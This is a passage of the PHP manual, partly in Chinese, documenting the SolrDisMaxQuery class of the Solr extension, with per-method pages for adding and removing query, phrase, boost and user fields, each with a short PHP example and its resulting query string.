public SolrQuery::getTermsPrefix(): string
public SolrQuery::getTermsReturnRaw(): bool
public SolrQuery::getTermsSort(): int
public SolrQuery::getTermsUpperBound(): string
public SolrQuery::getTimeAllowed(): int
public SolrQuery::removeExpandFilterQuery(string $fq): SolrQuery
public SolrQuery::removeExpandSortField(string $field): SolrQuery
public SolrQuery::removeFacetDateField(string $field): SolrQuery
public SolrQuery::removeFacetDateOther(string $value, string $field_override = ?): SolrQuery
public SolrQuery::removeFacetField(string $field): SolrQuery
public SolrQuery::removeFacetQuery(string $value): SolrQuery
public SolrQuery::removeField(string $field): SolrQuery
public SolrQuery::removeFilterQuery(string $fq): SolrQuery
public SolrQuery::removeHighlightField(string $field): SolrQuery
public SolrQuery::removeMltField(string $field): SolrQuery
public SolrQuery::removeMltQueryField(string $queryField): SolrQuery
public SolrQuery::removeSortField(string $field): SolrQuery
public SolrQuery::removeStatsFacet(string $value): SolrQuery
public SolrQuery::removeStatsField(string $field): SolrQuery
public SolrQuery::setEchoHandler(bool $flag): SolrQuery
public SolrQuery::setEchoParams(string $type): SolrQuery
public SolrQuery::setExpand(bool $value): SolrQuery
public SolrQuery::setExpandQuery(string $q): SolrQuery
public SolrQuery::setExpandRows(int $value): SolrQuery
public SolrQuery::setExplainOther(string $query): SolrQuery
public SolrQuery::setFacet(bool $flag): SolrQuery
public SolrQuery::setFacetDateEnd(string $value, string $field_override = ?): SolrQuery
public SolrQuery::setFacetDateGap(string $value, string $field_override = ?): SolrQuery
public SolrQuery::setFacetDateHardEnd(bool $value, string $field_override = ?): SolrQuery
public SolrQuery::setFacetDateStart(string $value, string $field_override = ?): SolrQuery
public SolrQuery::setFacetEnumCacheMinDefaultFrequency(int $frequency, string $field_override = ?): SolrQuery
public SolrQuery::setFacetLimit(int $limit, string $field_override = ?): SolrQuery
public SolrQuery::setFacetMethod(string $method, string $field_override = ?): SolrQuery
public SolrQuery::setFacetMinCount(int $mincount, string $field_override = ?): SolrQuery
public SolrQuery::setFacetMissing(bool $flag, string $field_override = ?): SolrQuery
public SolrQuery::setFacetOffset(int $offset, string $field_override = ?): SolrQuery
public SolrQuery::setFacetPrefix(string $prefix, string $field_override = ?): SolrQuery
public SolrQuery::setFacetSort(int $facetSort, string $field_override = ?): SolrQuery
public SolrQuery::setGroup(bool $value): SolrQuery
public SolrQuery::setGroupCachePercent(int $percent): SolrQuery
public SolrQuery::setGroupFacet(bool $value): SolrQuery
public SolrQuery::setGroupFormat(string $value): SolrQuery
public SolrQuery::setGroupLimit(int $value): SolrQuery
public SolrQuery::setGroupMain(string $value): SolrQuery
public SolrQuery::setGroupNGroups(bool $value): SolrQuery
public SolrQuery::setGroupOffset(int $value): SolrQuery
public SolrQuery::setGroupTruncate(bool $value): SolrQuery
public SolrQuery::setHighlight(bool $flag): SolrQuery
public SolrQuery::setHighlightAlternateField(string $field, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightFormatter(string $formatter, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightFragmenter(string $fragmenter, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightFragsize(int $size, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightHighlightMultiTerm(bool $flag): SolrQuery
public SolrQuery::setHighlightMaxAlternateFieldLength(int $fieldLength, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightMaxAnalyzedChars(int $value): SolrQuery
public SolrQuery::setHighlightMergeContiguous(bool $flag, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightRegexMaxAnalyzedChars(int $maxAnalyzedChars): SolrQuery
public SolrQuery::setHighlightRegexPattern(string $value): SolrQuery
public SolrQuery::setHighlightRegexSlop(float $factor): SolrQuery
public SolrQuery::setHighlightRequireFieldMatch(bool $flag): SolrQuery
public SolrQuery::setHighlightSimplePost(string $simplePost, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightSimplePre(string $simplePre, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightSnippets(int $value, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightUsePhraseHighlighter(bool $flag): SolrQuery
public SolrQuery::setMlt(bool $flag): SolrQuery
public SolrQuery::setMltBoost(bool $flag): SolrQuery
public SolrQuery::setMltCount(int $count): SolrQuery
public SolrQuery::setMltMaxNumQueryTerms(int $value): SolrQuery
public SolrQuery::setMltMaxNumTokens(int $value): SolrQuery
public SolrQuery::setMltMaxWordLength(int $maxWordLength): SolrQuery
public SolrQuery::setMltMinDocFrequency(int $minDocFrequency): SolrQuery
public SolrQuery::setMltMinTermFrequency(int $minTermFrequency): SolrQuery
public SolrQuery::setMltMinWordLength(int $minWordLength): SolrQuery
public SolrQuery::setOmitHeader(bool $flag): SolrQuery
public SolrQuery::setQuery(string $query): SolrQuery
public SolrQuery::setRows(int $rows): SolrQuery
public SolrQuery::setShowDebugInfo(bool $flag): SolrQuery
public SolrQuery::setStart(int $start): SolrQuery
public SolrQuery::setStats(bool $flag): SolrQuery
public SolrQuery::setTerms(bool $flag): SolrQuery
public SolrQuery::setTermsField(string $fieldname): SolrQuery
public SolrQuery::setTermsIncludeLowerBound(bool $flag): SolrQuery
public SolrQuery::setTermsIncludeUpperBound(bool $flag): SolrQuery
public SolrQuery::setTermsLimit(int $limit): SolrQuery
public SolrQuery::setTermsLowerBound(string $lowerBound): SolrQuery
public SolrQuery::setTermsMaxCount(int $frequency): SolrQuery
public SolrQuery::setTermsMinCount(int $frequency): SolrQuery
public SolrQuery::setTermsPrefix(string $prefix): SolrQuery
public SolrQuery::setTermsReturnRaw(bool $flag): SolrQuery
public SolrQuery::setTermsSort(int $sortType): SolrQuery
public SolrQuery::setTermsUpperBound(string $upperBound): SolrQuery
public SolrQuery::setTimeAllowed(int $timeAllowed): SolrQuery
}

预定义常量

SolrDisMaxQuery::ORDER_ASC

Used to specify that the sorting should be in acending order (Duplicated for easier migration)

SolrDisMaxQuery::ORDER_DESC

Used to specify that the sorting should be in descending order (Duplicated for easier migration)

SolrDisMaxQuery::FACET_SORT_INDEX

Used to specify that the facet should sort by index (Duplicated for easier migration)

SolrDisMaxQuery::FACET_SORT_COUNT

Used to specify that the facet should sort by count (Duplicated for easier migration)

SolrDisMaxQuery::TERMS_SORT_INDEX

Used in the TermsComponent (Duplicated for easier migration)

SolrDisMaxQuery::TERMS_SORT_COUNT

Used in the TermsComponent (Duplicated for easier migration)

Table of Contents

  • SolrDisMaxQuery::addBigramPhraseField — Adds a Phrase Bigram Field (pf2 parameter)
  • SolrDisMaxQuery::addBoostQuery — Adds a boost query field with value and optional boost (bq parameter)
  • SolrDisMaxQuery::addPhraseField — Adds a Phrase Field (pf parameter)
  • SolrDisMaxQuery::addQueryField — Add a query field with optional boost (qf parameter)
  • SolrDisMaxQuery::addTrigramPhraseField — Adds a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::addUserField — Adds a field to User Fields Parameter (uf)
  • SolrDisMaxQuery::__construct — Class Constructor
  • SolrDisMaxQuery::removeBigramPhraseField — Removes phrase bigram field (pf2 parameter)
  • SolrDisMaxQuery::removeBoostQuery — Removes a boost query partial by field name (bq)
  • SolrDisMaxQuery::removePhraseField — Removes a Phrase Field (pf parameter)
  • SolrDisMaxQuery::removeQueryField — Removes a Query Field (qf parameter)
  • SolrDisMaxQuery::removeTrigramPhraseField — Removes a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::removeUserField — Removes a field from The User Fields Parameter (uf)
  • SolrDisMaxQuery::setBigramPhraseFields — Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter
  • SolrDisMaxQuery::setBigramPhraseSlop — Sets Bigram Phrase Slop (ps2 parameter)
  • SolrDisMaxQuery::setBoostFunction — Sets a Boost Function (bf parameter)
  • SolrDisMaxQuery::setBoostQuery — Directly Sets Boost Query Parameter (bq)
  • SolrDisMaxQuery::setMinimumMatch — Set Minimum "Should" Match (mm)
  • SolrDisMaxQuery::setPhraseFields — Sets Phrase Fields and their boosts (and slops) using pf2 parameter
  • SolrDisMaxQuery::setPhraseSlop — Sets the default slop on phrase queries (ps parameter)
  • SolrDisMaxQuery::setQueryAlt — Set Query Alternate (q.alt parameter)
  • SolrDisMaxQuery::setQueryPhraseSlop — Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)
  • SolrDisMaxQuery::setTieBreaker — Sets Tie Breaker parameter (tie parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields — Directly Sets Trigram Phrase Fields (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseSlop — Sets Trigram Phrase Slop (ps3 parameter)
  • SolrDisMaxQuery::setUserFields — Sets User Fields parameter (uf)
  • SolrDisMaxQuery::useDisMaxQueryParser — Switch QueryParser to be DisMax Query Parser
  • SolrDisMaxQuery::useEDisMaxQueryParser — Switch QueryParser to be EDisMax

User Contributed Notes

There are no user contributed notes for this page.


Adds a Phrase Bigram Field (pf2 parameter)

  • ? SolrDisMaxQuery
  • SolrDisMaxQuery::addBoostQuery ?
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a Phrase Bigram Field (pf2 parameter)

SolrDisMaxQuery::addBigramPhraseField

(No version information available, might only be in Git)

SolrDisMaxQuery::addBigramPhraseField — Adds a Phrase Bigram Field (pf2 parameter)

说明

public SolrDisMaxQuery::addBigramPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery

Adds a Phrase Bigram Field (pf2 parameter) output format: field~slop^boost OR field^boost Slop is optional

参数

field

boost

slop

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::addBigramPhraseField() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addBigramPhraseField('cat', 2, 5.1)
->addBigramPhraseField('feature', 4.5)
;
echo $dismaxQuery;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&pf2=cat~5.1^2 feature^4.5

参见

  • SolrDisMaxQuery::removeBigramPhraseField() - Removes phrase bigram field (pf2 parameter)
  • SolrDisMaxQuery::setBigramPhraseFields() - Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter
  • SolrDisMaxQuery::setBigramPhraseSlop() - Sets Bigram Phrase Slop (ps2 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Adds a boost query field with value and optional boost (bq parameter)

  • ? SolrDisMaxQuery::addBigramPhraseField
  • SolrDisMaxQuery::addPhraseField ?
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a boost query field with value and optional boost (bq parameter)

SolrDisMaxQuery::addBoostQuery

(No version information available, might only be in Git)

SolrDisMaxQuery::addBoostQuery — Adds a boost query field with value and optional boost (bq parameter)

说明

public SolrDisMaxQuery::addBoostQuery(string $field, string $value, string $boost = ?): SolrDisMaxQuery

Adds a Boost Query field with value [and boost] (bq parameter)

参数

field

value

boost

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::addBoostQuery() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addBoostQuery('cat', 'clothing', 2)
->addBoostQuery('cat', 'electronics', 5.1)
;
echo $dismaxQuery.PHP_EOL;
?>

以上示例的输出类似于：

q=lucene&defType=edismax&bq=cat:clothing^2 cat:electronics^5.1

参见

  • SolrDisMaxQuery::removeBoostQuery() - Removes a boost query partial by field name (bq)
  • SolrDisMaxQuery::setBoostQuery() - Directly Sets Boost Query Parameter (bq)

User Contributed Notes

There are no user contributed notes for this page.


Adds a Phrase Field (pf parameter)

  • ? SolrDisMaxQuery::addBoostQuery
  • SolrDisMaxQuery::addQueryField ?
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a Phrase Field (pf parameter)

SolrDisMaxQuery::addPhraseField

(No version information available, might only be in Git)

SolrDisMaxQuery::addPhraseField — Adds a Phrase Field (pf parameter)

说明

public SolrDisMaxQuery::addPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery

Adds a Phrase Field (pf parameter)

参数

field

field name

boost

slop

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::addPhraseField() example

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addPhraseField('cat', 3, 1)
->addPhraseField('third', 4, 2)
->addPhraseField('source', 55)
;
echo $dismaxQuery;
?>

以上示例的输出类似于：

q=lucene&defType=edismax&pf=cat~1^3 third~2^4 source^55

参见

  • SolrDisMaxQuery::removePhraseField() - Removes a Phrase Field (pf parameter)
  • SolrDisMaxQuery::setPhraseFields() - Sets Phrase Fields and their boosts (and slops) using pf2 parameter

User Contributed Notes

There are no user contributed notes for this page.


Add a query field with optional boost (qf parameter)

  • ? SolrDisMaxQuery::addPhraseField
  • SolrDisMaxQuery::addTrigramPhraseField ?
  • PHP Manual
  • SolrDisMaxQuery
  • Add a query field with optional boost (qf parameter)

SolrDisMaxQuery::addQueryField

(No version information available, might only be in Git)

SolrDisMaxQuery::addQueryField — Add a query field with optional boost (qf parameter)

说明

public SolrDisMaxQuery::addQueryField(string $field, string $boost = ?): SolrDisMaxQuery

Add a query field with optional boost (qf parameter)

参数

field

field name

boost

Boost value. Boosts documents with matching terms.

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::addQueryField() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addQueryField("location", 4)
->addQueryField("price")
->addQueryField("sku")
->addQueryField("title",3.4)
;
echo $dismaxQuery;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&qf=location^4 price sku title^3.4

参见

  • SolrDisMaxQuery::removeQueryField() - Removes a Query Field (qf parameter)

User Contributed Notes

There are no user contributed notes for this page.


Adds a Trigram Phrase Field (pf3 parameter)

  • ? SolrDisMaxQuery::addQueryField
  • SolrDisMaxQuery::addUserField ?
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a Trigram Phrase Field (pf3 parameter)

SolrDisMaxQuery::addTrigramPhraseField

(No version information available, might only be in Git)

SolrDisMaxQuery::addTrigramPhraseField — Adds a Trigram Phrase Field (pf3 parameter)

说明

public SolrDisMaxQuery::addTrigramPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery

Adds a Trigram Phrase Field (pf3 parameter)

参数

field

Field Name

boost

Field Boost

slop

Field Slop

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::addTrigramPhraseField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addTrigramPhraseField('cat', 2, 5.1)
->addTrigramPhraseField('feature', 4.5)
;
echo $dismaxQuery.PHP_EOL;

?>

以上示例会输出：

q=lucene&defType=%s&pf3=cat~5.1^2 feature^4.5

参见

  • SolrDisMaxQuery::removeTrigramPhraseField() - Removes a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Directly Sets Trigram Phrase Fields (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseSlop() - Sets Trigram Phrase Slop (ps3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Adds a field to User Fields Parameter (uf)

  • ? SolrDisMaxQuery::addTrigramPhraseField
  • SolrDisMaxQuery::__construct ?
  • PHP Manual
  • SolrDisMaxQuery
  • Adds a field to User Fields Parameter (uf)

SolrDisMaxQuery::addUserField

(No version information available, might only be in Git)

SolrDisMaxQuery::addUserField — Adds a field to User Fields Parameter (uf)

说明

public SolrDisMaxQuery::addUserField(string $field): SolrDisMaxQuery

Adds a field to The User Fields Parameter (uf)

参数

field

Field Name

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::addUserField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addUserField('cat')
->addUserField('text')
->addUserField('*_dt');

echo $dismaxQuery.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&uf=cat text *_dt

参见

  • SolrDisMaxQuery::removeUserField() - Removes a field from The User Fields Parameter (uf)
  • SolrDisMaxQuery::setUserFields() - Sets User Fields parameter (uf)

User Contributed Notes

There are no user contributed notes for this page.


Class Constructor

  • ? SolrDisMaxQuery::addUserField
  • SolrDisMaxQuery::removeBigramPhraseField ?
  • PHP Manual
  • SolrDisMaxQuery
  • Class Constructor

SolrDisMaxQuery::__construct

(No version information available, might only be in Git)

SolrDisMaxQuery::__construct — Class Constructor

说明

public SolrDisMaxQuery::__construct(string $q = ?)

Class constructor initializes the object and sets the q parameter if passed

参数

q

Search Query (q parameter)

返回值

错误／异常

Emits SolrIllegalArgumentException in case of an invalid parameter was passed.

示例

Example #1 SolrDisMaxQuery::__construct() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
echo $dismaxQuery;

?>

以上示例会输出：

q=lucene&defType=edismax

User Contributed Notes

There are no user contributed notes for this page.


Removes phrase bigram field (pf2 parameter)

  • ? SolrDisMaxQuery::__construct
  • SolrDisMaxQuery::removeBoostQuery ?
  • PHP Manual
  • SolrDisMaxQuery
  • Removes phrase bigram field (pf2 parameter)

SolrDisMaxQuery::removeBigramPhraseField

(No version information available, might only be in Git)

SolrDisMaxQuery::removeBigramPhraseField — Removes phrase bigram field (pf2 parameter)

说明

public SolrDisMaxQuery::removeBigramPhraseField(string $field): SolrDisMaxQuery

Removes a Bigram Phrase Field (pf2 parameter) that was previously added using SolrDisMaxQuery::addBigramPhraseField()

参数

field

The Field Name

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::removeBigramPhraseField() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addBigramPhraseField('cat', 2, 5.1)
->addBigramPhraseField('feature', 4.5)
;
echo $dismaxQuery.PHP_EOL;

// remove cat from pf2
$dismaxQuery
->removeBigramPhraseField('cat');
echo $dismaxQuery.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&pf2=cat~5.1^2 feature^4.5
q=lucene&defType=edismax&pf2=feature^4.5

参见

  • SolrDisMaxQuery::addBigramPhraseField() - Adds a Phrase Bigram Field (pf2 parameter)
  • SolrDisMaxQuery::setBigramPhraseFields() - Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter
  • SolrDisMaxQuery::setBigramPhraseSlop() - Sets Bigram Phrase Slop (ps2 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Removes a boost query partial by field name (bq)

  • ? SolrDisMaxQuery::removeBigramPhraseField
  • SolrDisMaxQuery::removePhraseField ?
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a boost query partial by field name (bq)

SolrDisMaxQuery::removeBoostQuery

(No version information available, might only be in Git)

SolrDisMaxQuery::removeBoostQuery — Removes a boost query partial by field name (bq)

说明

public SolrDisMaxQuery::removeBoostQuery(string $field): SolrDisMaxQuery

Removes a boost query partial from the existing query, only if SolrDisMaxQuery::addBoostQuery() was used.

参数

field

Field Name

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::removeBoostQuery() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addBoostQuery('cat', 'electronics', 5.1)
->addBoostQuery('cat', 'hard drive')
;
echo $dismaxQuery.PHP_EOL;
// now remove a query part with field 'cat'
$dismaxQuery
->removeBoostQuery('cat');
echo $dismaxQuery . PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&bq=cat:electronics^5.1 cat:hard drive
q=lucene&defType=edismax&bq=cat:hard drive

参见

  • SolrDisMaxQuery::addBoostQuery() - Adds a boost query field with value and optional boost (bq parameter)
  • SolrDisMaxQuery::setBoostQuery() - Directly Sets Boost Query Parameter (bq)

User Contributed Notes

There are no user contributed notes for this page.


Removes a Phrase Field (pf parameter)

  • ? SolrDisMaxQuery::removeBoostQuery
  • SolrDisMaxQuery::removeQueryField ?
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a Phrase Field (pf parameter)

SolrDisMaxQuery::removePhraseField

(No version information available, might only be in Git)

SolrDisMaxQuery::removePhraseField — Removes a Phrase Field (pf parameter)

说明

public SolrDisMaxQuery::removePhraseField(string $field): SolrDisMaxQuery

Removes a Phrase Field (pf parameter) that was previously added using SolrDisMaxQuery::addPhraseField

参数

field

Field Name

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::removePhraseField() example

<?php
$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addPhraseField('first', 3, 1)
->addPhraseField('second', 4, 1)
->addPhraseField('cat', 55);
echo $dismaxQuery . PHP_EOL;
echo $dismaxQuery->removePhraseField('second');
?>

以上示例的输出类似于：

q=lucene&defType=edismax&pf=first~1^3 second~1^4 cat^55
q=lucene&defType=edismax&pf=first~1^3 cat^55

参见

  • SolrDisMaxQuery::addPhraseField() - Adds a Phrase Field (pf parameter)
  • SolrDisMaxQuery::setPhraseFields() - Sets Phrase Fields and their boosts (and slops) using pf2 parameter

User Contributed Notes

There are no user contributed notes for this page.


Removes a Query Field (qf parameter)

  • ? SolrDisMaxQuery::removePhraseField
  • SolrDisMaxQuery::removeTrigramPhraseField ?
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a Query Field (qf parameter)

SolrDisMaxQuery::removeQueryField

(No version information available, might only be in Git)

SolrDisMaxQuery::removeQueryField — Removes a Query Field (qf parameter)

说明

public SolrDisMaxQuery::removeQueryField(string $field): SolrDisMaxQuery

Removes a Query Field (qf parameter) from the field list added by SolrDisMaxQuery::addQueryField()

qf: When building DisjunctionMaxQueries from the user's query it specifies the fields to search in, and boosts for those fields.

参数

field

Field Name

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::removeQueryField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addQueryField('first', 3)
->addQueryField('second', 0.2)
->addQueryField('cat');
echo $dismaxQuery . PHP_EOL;
// remove field 'second'
echo $dismaxQuery->removeQueryField('second');
?>

以上示例的输出类似于：

q=lucene&defType=edismax&qf=first^3 second^0.2 cat
q=lucene&defType=edismax&qf=first^3 cat

参见

  • SolrDisMaxQuery::addQueryField() - Add a query field with optional boost (qf parameter)

User Contributed Notes

There are no user contributed notes for this page.


Removes a Trigram Phrase Field (pf3 parameter)

  • ? SolrDisMaxQuery::removeQueryField
  • SolrDisMaxQuery::removeUserField ?
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a Trigram Phrase Field (pf3 parameter)

SolrDisMaxQuery::removeTrigramPhraseField

(No version information available, might only be in Git)

SolrDisMaxQuery::removeTrigramPhraseField — Removes a Trigram Phrase Field (pf3 parameter)

说明

public SolrDisMaxQuery::removeTrigramPhraseField(string $field): SolrDisMaxQuery

Removes a Trigram Phrase Field (pf3 parameter)

参数

field

Field Name

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::removeTrigramPhraseField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addTrigramPhraseField('cat', 2, 5.1)
->addTrigramPhraseField('feature', 4.5)
;
echo $dismaxQuery.PHP_EOL;
// reverse
$dismaxQuery
->removeTrigramPhraseField('cat');
echo $dismaxQuery.PHP_EOL;

?>

以上示例会输出：

q=lucene&defType=%s&pf3=cat~5.1^2 feature^4.5
q=lucene&defType=%s&pf3=feature^4.5

参见

  • SolrDisMaxQuery::addTrigramPhraseField() - Adds a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Directly Sets Trigram Phrase Fields (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseSlop() - Sets Trigram Phrase Slop (ps3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from The User Fields Parameter (uf)

  • ? SolrDisMaxQuery::removeTrigramPhraseField
  • SolrDisMaxQuery::setBigramPhraseFields ?
  • PHP Manual
  • SolrDisMaxQuery
  • Removes a field from The User Fields Parameter (uf)

SolrDisMaxQuery::removeUserField

(No version information available, might only be in Git)

SolrDisMaxQuery::removeUserField — Removes a field from The User Fields Parameter (uf)

说明

public SolrDisMaxQuery::removeUserField(string $field): SolrDisMaxQuery

Removes a field from The User Fields Parameter (uf)

Warning

本函数还未编写文档，仅有参数列表。

参数

field

Field Name

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::removeUserField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addUserField('cat')
->addUserField('text')
->addUserField('*_dt')
;
echo $dismaxQuery.PHP_EOL;

// remove field named 'text'
$dismaxQuery
->removeUserField('text');
echo $dismaxQuery.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=%s&uf=cat text *_dt
q=lucene&defType=%s&uf=cat *_dt

参见

  • SolrDisMaxQuery::addUserField() - Adds a field to User Fields Parameter (uf)
  • SolrDisMaxQuery::setUserFields() - Sets User Fields parameter (uf)

User Contributed Notes

There are no user contributed notes for this page.


Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter

  • ? SolrDisMaxQuery::removeUserField
  • SolrDisMaxQuery::setBigramPhraseSlop ?
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter

SolrDisMaxQuery::setBigramPhraseFields

(No version information available, might only be in Git)

SolrDisMaxQuery::setBigramPhraseFields — Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter

说明

public SolrDisMaxQuery::setBigramPhraseFields(string $fields): SolrDisMaxQuery

Sets Bigram Phrase Fields (pf2) and their boosts (and slops)

参数

fields

Fields boosts (slops)

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setBigramPhraseFields() example

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery->setBigramPhraseFields("cat~5.1^2 feature^4.5");
echo $dismaxQuery.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&pf2=cat~5.1^2 feature^4.5

参见

  • SolrDisMaxQuery::setBigramPhraseSlop() - Sets Bigram Phrase Slop (ps2 parameter)
  • SolrDisMaxQuery::addBigramPhraseFields()
  • SolrDisMaxQuery::removeBigramPhraseField() - Removes phrase bigram field (pf2 parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Directly Sets Trigram Phrase Fields (pf3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets Bigram Phrase Slop (ps2 parameter)

  • ? SolrDisMaxQuery::setBigramPhraseFields
  • SolrDisMaxQuery::setBoostFunction ?
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Bigram Phrase Slop (ps2 parameter)

SolrDisMaxQuery::setBigramPhraseSlop

(No version information available, might only be in Git)

SolrDisMaxQuery::setBigramPhraseSlop — Sets Bigram Phrase Slop (ps2 parameter)

说明

public SolrDisMaxQuery::setBigramPhraseSlop(string $slop): SolrDisMaxQuery

Sets Bigram Phrase Slop (ps2 parameter). A default slop for Bigram phrase fields.

参数

slop

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setBigramPhraseSlop() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');

$dismaxQuery->setBigramPhraseSlop(5);
echo $dismaxQuery.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&ps2=5

User Contributed Notes

There are no user contributed notes for this page.


Sets a Boost Function (bf parameter)

  • ? SolrDisMaxQuery::setBigramPhraseSlop
  • SolrDisMaxQuery::setBoostQuery ?
  • PHP Manual
  • SolrDisMaxQuery
  • Sets a Boost Function (bf parameter)

SolrDisMaxQuery::setBoostFunction

(No version information available, might only be in Git)

SolrDisMaxQuery::setBoostFunction — Sets a Boost Function (bf parameter)

说明

public SolrDisMaxQuery::setBoostFunction(string $function): SolrDisMaxQuery

Sets Boost Function (bf parameter).

Functions (with optional boosts) that will be included in the user's query to influence the score. Any function supported natively by Solr can be used, along with a boost value. e.g.:

recip(rord(myfield),1,2,3)^1.5

参数

function

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setBoostFunction() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');

$boostRecentDocsFunction = "recip(ms(NOW,mydatefield),3.16e-11,1,1)";
$dismaxQuery->setBoostFunction($boostRecentDocsFunction);

echo $dismaxQuery.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&defType=edismax&bf=recip(ms(NOW,mydatefield),3.16e-11,1,1)

User Contributed Notes

There are no user contributed notes for this page.


Directly Sets Boost Query Parameter (bq)

  • ? SolrDisMaxQuery::setBoostFunction
  • SolrDisMaxQuery::setMinimumMatch ?
  • PHP Manual
  • SolrDisMaxQuery
  • Directly Sets Boost Query Parameter (bq)

SolrDisMaxQuery::setBoostQuery

(No version information available, might only be in Git)

SolrDisMaxQuery::setBoostQuery — Directly Sets Boost Query Parameter (bq)

说明

public SolrDisMaxQuery::setBoostQuery(string $q): SolrDisMaxQuery

Sets Boost Query Parameter (bq)

参数

q

query

返回值

SolrDisMaxQuery

示例

Example #1 SolrDisMaxQuery::setBoostQuery() example

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");

$dismaxQuery->setBoostQuery('cat:electronics manu:local^2');
echo $dismaxQuery.PHP_EOL;
?>

以上示例的输出类似于：

q=lucene&defType=edismax&bq=cat:electronics manu:local^2

参见

  • SolrDisMaxQuery::addBoostQuery() - Adds a boost query field with value and optional boost (bq parameter)
  • SolrDisMaxQuery::removeBoostQuery() - Removes a boost query partial by field name (bq)

User Contributed Notes

There are no user contributed notes for this page.


Set Minimum "Should" Match (mm)

  • ? SolrDisMaxQuery::setBoostQuery
  • SolrDisMaxQuery::setPhraseFields ?
  • PHP Manual
  • SolrDisMaxQuery
  • Set Minimum "Should" Match (mm)

SolrDisMaxQuery::setMinimumMatch

(No version information available, might only be in Git)

SolrDisMaxQuery::setMinimumMatch — Set Minimum "Should" Match (mm)

说明

